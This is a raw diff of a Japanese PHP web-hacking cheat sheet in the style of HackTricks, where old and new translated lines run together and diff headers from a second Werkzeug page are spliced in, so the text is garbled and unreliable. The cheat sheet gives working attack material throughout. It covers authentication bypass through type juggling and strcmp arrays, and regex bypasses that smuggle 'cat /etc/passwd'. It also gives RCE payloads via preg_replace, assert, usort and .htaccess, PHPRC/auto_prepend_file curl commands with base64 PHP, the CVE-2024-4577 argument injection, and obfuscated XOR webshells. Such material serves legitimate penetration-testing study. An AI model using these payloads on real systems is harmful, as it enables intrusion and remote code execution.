PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは「==」が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は`===`を使用する必要があります。 `==` がPHPで使用される場合、比較が期待通りに動作しない予期しないケースがあります。これは「==」が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は `===` を使用する必要があります。
PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -48,17 +52,17 @@ PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` 数字で始まらない文字列は数字と等しい * `"string" == 0 -> True` 数字で始まらない文字列は数字と等しい
* `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列とTrueとして比較できる文字列内の数字は数字として解釈される * `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります文字列内の数字は数字として解釈されます
* `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい * `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい
* `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字で続き、何かが続く文字列は0と等しい * `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字で続き、何かが続く文字列は0と等しい
* `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては「0」の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、「0e」で始まり、任意の文字がない値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては「0」の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、「0e」で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい * `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。 詳細は [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) を参照してください。
### **in\_array()** ### **in\_array()**
**型ジャグリング**はデフォルトで`in_array()`関数にも影響を与えます厳密な比較を行うには、3番目の引数をtrueに設定する必要があります **型ジャグリング**はデフォルトで `in_array()` 関数にも影響を与えます厳密な比較を行うには、3番目の引数をtrueに設定する必要があります
```php ```php
$values = array("apple","orange","pear","grape"); $values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values)); var_dump(in_array(0, $values));
@ -68,18 +72,18 @@ var_dump(in_array(0, $values, true));
``` ```
### strcmp()/strcasecmp() ### strcmp()/strcasecmp()
この関数が**任意の認証チェック**(パスワードの確認など)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ(`https://example.com/login.php/?username=admin&password[]=`)、このチェックをバイパスすることができます: この関数が**任意の認証チェック**(パスワードの確認など)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ(`https://example.com/login.php/?username=admin&password[]=`)、このチェックをバイパスできます:
```php ```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password // Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password // Real Password
``` ```
`strcasecmp()`を使用しても同じエラーが発生します。 `strcasecmp()`も同じエラーが発生します。
### 厳密な型のジャグリング ### 厳密な型のジャグリング
`===`が**使用されている**場合でも、**比較が脆弱**になる**型ジャグリング**を引き起こすエラーがある可能性があります。たとえば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です `===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。例えば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合:
```php ```php
(int) "1abc" === (int) "1xyz" //This will be true (int) "1abc" === (int) "1xyz" //This will be true
``` ```
@ -102,18 +106,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput); echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1" //0 --> In this scenario preg_match DOESN'T find the char "1"
``` ```
このチェックを回避するには、**新しい行をURLエンコードした値を送信**するか(`%0A`)、**JSONデータ**を送信できる場合は、**複数行**送信します: このチェックを回避するには、**新しい行をURLエンコードした値を送信**するか(`%0A`)、**JSONデータ**を送信できる場合は、**複数行**送信します:
```php ```php
{ {
"cmd": "cat /etc/passwd" "cmd": "cat /etc/passwd"
} }
``` ```
ここに例があります: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **長さエラーのバイパス** #### **長さエラーのバイパス**
(このバイパスは明らかに PHP 5.2.5 で試され、PHP 7.3.15 では動作しませんでした)\ (このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作させることができませんでした)\
`preg_match()` に有効な非常に **大きな入力** を送信できれば、**処理できなくなり**、チェックを **バイパス** できるようになります。たとえば、JSON をブラックリストに登録している場合、次のように送信できます: `preg_match()`に有効な非常に**大きな入力**を送信できれば、**処理できなくなり**、チェックを**バイパス**することができます。たとえば、JSONをブラックリストにしている場合、次のように送信できます:
```bash ```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
``` ```
@ -125,10 +129,10 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
要するに、問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。許可される再帰の数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。 要するに、この問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。許可される再帰の数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。
[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\ [このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\
**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に`{system(<verybadcommand>)}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得することです :)**。 **正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に`{system(<verybadcommand>)}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得すること :)**。
さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えています。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数でデフォルトで1,000,0001Mです。\ さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えています。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数でデフォルトで1,000,0001Mです。\
それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ50万前進と50万後退を生成します それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ50万前進と50万後退を生成します
@ -168,16 +172,16 @@ Check:
## さらなるトリック ## さらなるトリック
* **register\_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register\_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のよう $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きできます**。 * **register\_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register\_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のよう $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きできます**。
* **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスするように設定することができます**。\ * **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスするように設定することができます**。\
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用させることができます**。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。 この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用させることができます**。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
* マシンの **ユーザー名** を持っている場合、アドレス **/\~\<USERNAME>** を確認して、php ディレクトリが有効になっているかどうかを確認します。 * マシンの **ユーザー名** を持っている場合、アドレス **/\~\<USERNAME>** を確認して、php ディレクトリが有効になっているかどうかを確認します。
* [**php ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/) * [**php ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify ### password\_hash/password\_verify
この関数は通常、PHP で **パスワードからハッシュを生成するため**、およびハッシュと比較してパスワードが正しいかどうかを **確認するため** に使用されます。\ この関数は通常、PHP で **パスワードからハッシュを生成するため**、およびハッシュと比較してパスワードが正しいかどうかを **確認するため** に使用されます。\
サポートされているアルゴリズムは: `PASSWORD_DEFAULT``PASSWORD_BCRYPT``$2y$` で始まります)。**PASSWORD\_DEFAULT は頻繁に PASSWORD\_BCRYPT と同じであることに注意してください。** 現在、**PASSWORD\_BCRYPT** には **入力のサイズ制限が 72 バイト** あります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます: サポートされているアルゴリズムは: `PASSWORD_DEFAULT``PASSWORD_BCRYPT``$2y$` で始まります)。注意すべきは、**PASSWORD\_DEFAULT は頻繁に PASSWORD\_BCRYPT と同じであることです。** 現在、**PASSWORD\_BCRYPT** には **入力のサイズ制限が 72 バイト** あります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます:
```php ```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False False
@ -189,9 +193,9 @@ True
#### ヘッダーを設定した後のエラーの発生 #### ヘッダーを設定した後のエラーの発生
[**このツイッターのスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)から、1000を超えるGETパラメータや1000を超えるPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。 [**このツイッターのスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) から、1000 を超える GET パラメータや 1000 の POST パラメータ、または 20 のファイルを送信すると、PHP はレスポンスにヘッダーを設定しないことがわかります。
これにより、例えば次のようなコードで設定されているCSPヘッダーをバイパスすることが可能になります: これにより、例えば次のようなコードで設定されている CSP ヘッダーをバイパスすることが可能になります:
```php ```php
<?php <?php
header("Content-Security-Policy: default-src 'none';"); header("Content-Security-Policy: default-src 'none';");
@ -200,7 +204,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
#### ヘッダーを設定する前にボディを埋める #### ヘッダーを設定する前にボディを埋める
もし**PHPページがエラーを印刷し、ユーザーが提供した入力をエコーしている**場合、ユーザーはPHPサーバーに**十分に長いコンテンツを印刷させる**ことができ、サーバーが**レスポンスにヘッダーを追加しようとするとエラーを投げる**ことになります。\ もし**PHPページがエラーを印刷し、ユーザーが提供した入力をエコーしている**場合、ユーザーはPHPサーバーに**十分に長いコンテンツを印刷させる**ことができ、サーバーが**レスポンスにヘッダーを追加しようとするとエラーを投げる**ことになります。\
次のシナリオでは、**攻撃者がサーバーに大きなエラーを投げさせました**。画面で見ると、PHPが**ヘッダー情報を修正しようとしたとき、できなかった**ことがわかります例えば、CSPヘッダーはユーザーに送信されませんでした 次のシナリオでは、**攻撃者がサーバーに大きなエラーを投げさせ**、PHPが**ヘッダー情報を修正しようとしたときに、できなかった**ことが画面に示されています例えば、CSPヘッダーはユーザーに送信されませんでした
![](<../../../.gitbook/assets/image (1085).png>) ![](<../../../.gitbook/assets/image (1085).png>)
@ -218,7 +222,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
**\`ls\`;**\ **\`ls\`;**\
**shell\_exec("ls");** **shell\_exec("ls");**
[こちらをチェックして、より便利なPHP関数を見つけてください](php-useful-functions-disable\_functions-open\_basedir-bypass/) [こちらをチェックして、より便利なPHP関数を確認してください](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **preg\_replace()**による**RCE** ### **preg\_replace()**による**RCE**
```php ```php
@ -243,16 +247,16 @@ preg_replace("/a/e","phpinfo()","whatever")
``` ```
?page=a','NeVeR') === false and system('ls') and strpos('a ?page=a','NeVeR') === false and system('ls') and strpos('a
``` ```
あなたは**コードの構文を** **壊し**、**ペイロードを** **追加**し、そして**再び修正する**必要があります。**"and"や"%26%26"や"|"**のような**論理演算子**を使用できます。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、私たちのペイロードは実行されません。同様に、";"も機能しません。なぜなら、私たちのペイロードは実行されないからです。 あなたは**コードの構文を** **壊し**、**ペイロードを** **追加**し、そして**再び修正する**必要があります。**論理演算子**を使用することができます、例えば "**and" または "%26%26" または "|"**。最初の条件が真である場合、ペイロードが実行されないため、"or"、"||"は機能しないことに注意してください。同様に、";"も機能しません、なぜならペイロードが実行されないからです。
**別のオプション**は、文字列にコマンドの実行を追加することです`'.highlight_file('.passwd').'` **別のオプション**は、文字列にコマンドの実行を追加することです: `'.highlight_file('.passwd').'`
**別のオプション**(内部コードがある場合)は、実行を変更するためにいくつかの変数を修正することです`$file = "hola"` **別のオプション**(内部コードがある場合)は、実行を変更するためにいくつかの変数を修正することです: `$file = "hola"`
### **usort()を介したRCE** ### **usort()を介したRCE**
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\ この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
この関数を悪用するには この関数を悪用するには:
```php ```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?> <?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();# VALUE: );phpinfo();#
@ -282,7 +286,7 @@ To discover the number of parenthesis that you need to close:
### **RCE via .httaccess** ### **RCE via .httaccess**
**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することできます(拡張子が .htaccess のファイルが**実行**されるように設定すること)。 **.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(拡張子が .htaccess のファイルが**実行**されるように設定すること)。
異なる .htaccess シェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 異なる .htaccess シェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
@ -291,13 +295,13 @@ To discover the number of parenthesis that you need to close:
PHPの**env変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すればこれを回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。 PHPの**env変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すればこれを回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。 * [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
* **`PHPRC`** : PHPに**設定ファイルの場所**を指示します。通常は `php.ini` と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。 * **`PHPRC`** : PHPに**設定ファイルの場所**を指示します。通常は `php.ini` と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。
1. シェルコードを含むPHPファイルをアップロードします。 1. シェルコードを含むPHPファイルをアップロードします。
2. ステップ1でアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2目のファイルをアップロードします。 2. 1ステップでアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2目のファイルをアップロードします。
3. ステップ2でアップロードしたファイルに`PHPRC`変数を設定します。 3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。
* このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。 * このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。
* **PHPRC** - 別のオプション * **PHPRC** - 別のオプション
* **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは`stdin`に送信されたリクエストの**本体**です: * **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは`stdin`に送信されたリクエストの**本体**です:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします: * またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -305,7 +309,7 @@ PHPの**env変数を変更する**ことを許可する脆弱性を見つけた
### XAMPP CGI RCE - CVE-2024-4577 ### XAMPP CGI RCE - CVE-2024-4577
WebサーバーはHTTPリクエストを解析し、`http://host/cgi.php?foo=bar`のようなリクエストを実行するPHPスクリプトに渡します`php.exe cgi.php foo=bar`として)。これにより、PHPコードを本体から読み込むためのパラメータ注入が可能になります。 ウェブサーバーはHTTPリクエストを解析し、`http://host/cgi.php?foo=bar`のようなリクエストを実行するPHPスクリプトに渡します`php.exe cgi.php foo=bar`として)。これにより、パラメータの注入が可能になります。これにより、ボディからPHPコードを読み込むために次のパラメータを注入できます
```jsx ```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input -d allow_url_include=1 -d auto_prepend_file=php://input
``` ```
@ -339,7 +343,7 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents unserialize, include, file_put_cotents
$_COOKIE | if #This mea $_COOKIE | if #This mea
``` ```
もしPHPアプリケーションをデバッグしている場合は、`/etc/php5/apache2/php.ini`に`display_errors = On`を追加してエラープリンティングをグローバルに有効にし、apacheを再起動します`sudo systemctl restart apache2` PHPアプリケーションをデバッグしている場合は、`/etc/php5/apache2/php.ini`に`display_errors = On`を追加してエラープリンティングをグローバルに有効にし、apacheを再起動します: `sudo systemctl restart apache2`
### PHPコードのデオブフスケーション ### PHPコードのデオブフスケーション
@ -347,11 +351,11 @@ PHPコードをデオブフスケートするには、**web**[ **www.unphp.net**
## PHPラッパーとプロトコル ## PHPラッパーとプロトコル
PHPラッパーとプロトコルは、システム内の**書き込みおよび読み取り保護を回避**し、妥協することを可能にする場合があります。[**詳細についてはこのページを確認してください**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。 PHPラッパーとプロトコルは、システム内の**書き込みおよび読み取り保護をバイパス**し、妥協することを可能にする場合があります。[**詳細についてはこのページを確認してください**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
## Xdebugの認証されていないRCE ## Xdebugの認証されていないRCE
`phpconfig()`の出力に**Xdebug**が**有効**であることが表示された場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を介してRCEを取得しようとしてください `phpconfig()`の出力に**Xdebug**が**有効**であることが表示された場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を介してRCEを取得しようとするべきです
## 変数変数 ## 変数変数
```php ```php
@ -390,7 +394,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
``` ```
### XOR easy shell code ### XOR easy shell code
According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)次のようにして簡単なシェルコードを生成することが可能です: [**この解説** ](https://mgp25.com/ctf/Web-challenge/)によると、次のようにして簡単なシェルコードを生成することが可能です
```php ```php
$_="`{{{"^"?<>/"; // $_ = '_GET'; $_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -406,7 +410,7 @@ comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
``` ```
より詳細な説明については、[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)を確認してください。 より詳細な説明については、[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)を確認してください。
### XOR Shellcode (eval) ### XOR Shellcode (inside eval)
```bash ```bash
#!/bin/bash #!/bin/bash
@ -426,7 +430,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php ```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
``` ```
### Perlのよう ### Perlのよう
```php ```php
<?php <?php
$_=[]; $_=[];
@ -464,21 +468,25 @@ $____.=$__;
$_=$$____; $_=$$____;
$___($_[_]); // ASSERT($_POST[_]); $___($_[_]); // ASSERT($_POST[_]);
``` ```
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するに、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,4 +1,4 @@
# Werkzeug / Flask デバッグ # Werkzeug / Flask Debug
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -10,18 +10,20 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
